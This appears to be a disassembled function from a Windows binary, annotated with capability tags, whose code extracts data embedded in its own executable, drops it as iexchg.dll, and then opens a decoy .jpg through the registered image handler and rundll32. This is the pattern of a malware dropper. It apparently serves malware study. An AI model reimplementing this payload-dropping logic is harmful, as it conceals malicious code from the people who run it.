Function at 0x4029ef
Capabilities:
Get common file path
Get file size
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1084
call fcn.00401000
push ebx
push esi
push edi
push 0x800
call fcn.004037c1
push eax
mov dword [ebp - 0x20], eax
call fcn.0040288e
mov esi, 0x400
push esi
call fcn.004037c1
add esp, 0xc
push esi
push eax
xor ebx, ebx
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0xc]
call dword [0x406044]
push ebx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 8], eax
inc eax
push eax
call fcn.004037c1
pop ecx
push ebx
mov edi, eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call dword [0x40603c]
push dword [ebp - 4]
call dword [0x40604c]
mov eax, dword [ebp - 8]
shr eax, 2
xor ecx, ecx
dec eax
cmp eax, ebx
mov dword [ebp - 4], ebx
jbe 0x402aac
mov edx, dword [edi + ecx*4]
cmp edx, dword [0x406024]
jne 0x402aa2
mov edx, dword [edi + ecx*4 + 4]
cmp edx, dword [str._8GV]
jne 0x402aa2
lea edx, [ecx + 2]
mov dword [ebp - 4], edx
inc ecx
cmp ecx, eax
jb 0x402a85
cmp dword [ebp - 4], ebx
jne 0x402ab8
push edi
call fcn.004037d5
pop ecx
jmp 0x402c1a
push esi
call fcn.004037c1
push esi
push eax
mov dword [ebp - 0x10], eax
call fcn.00403fdf
add esp, 0xc
push str.iexchg.dll
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x10]
call dword [0x406044]
push dword [ebp - 0x10]
mov dword [ebp - 8], eax
call fcn.004037d5
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
call dword [0x406050]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [0x406050]
push dword [ebp - 8]
call dword [0x40604c]
push dword [ebp - 0xc]
call fcn.004037d5
mov eax, dword [ebp - 4]
inc eax
pop ecx
mov ecx, dword [edi + eax*4]
shr ecx, 2
lea eax, [eax + ecx + 1]
mov ecx, dword [edi + eax*4]
lea eax, [edi + eax*4 + 4]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax]
add eax, 4
cmp ecx, ebx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
je 0x402d48
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x20]
call dword [0x406044]
push dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00401bcd
add esp, 0xc
push ebx
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
call dword [0x406050]
push dword [ebp - 0x10]
call dword [0x40604c]
push edi
call fcn.004037d5
pop ecx
lea eax, [ebp - 0x14]
push eax
push str.jpegfile_shellopencommand_
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402c1a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push 0x405145
push dword [ebp - 0x14]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push dword [ebp - 0x14]
je 0x402c05
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402c1a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
cmp eax, 3
mov byte [ebp + eax - 0x484], bl
jae 0x402c21
xor eax, eax
jmp 0x402d4b
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x484]
push eax
call edi
mov dword [ebp - 0x18], eax
mov byte [ebp + eax - 0x486], bl
push esi
lea eax, [ebp - 0xc84]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str..jpg
lea eax, [ebp - 0xc84]
push eax
call edi
lea ecx, [ebp - 0xc84]
sub ecx, 4
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x484]
push eax
call edi
push esi
lea eax, [ebp - 0x884]
push eax
mov dword [ebp - 0x70], 0x44
mov word [ebp - 0x3e], bx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x64], ebx
mov word [ebp - 0x40], 5
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.System32_
lea eax, [ebp - 0x884]
push eax
call edi
cmp byte [ebp - 0x483], 0x3a
lea eax, [ebp - 0x484]
push eax
je 0x402d07
lea eax, [ebp - 0x884]
push eax
lea eax, [ebp - 0x1084]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x402d14
lea eax, [ebp - 0x1084]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.rundll32.exe
lea eax, [ebp - 0x884]
push eax
call edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x405318
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1084]
push eax
lea eax, [ebp - 0x884]
push eax
call dword [0x406058]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret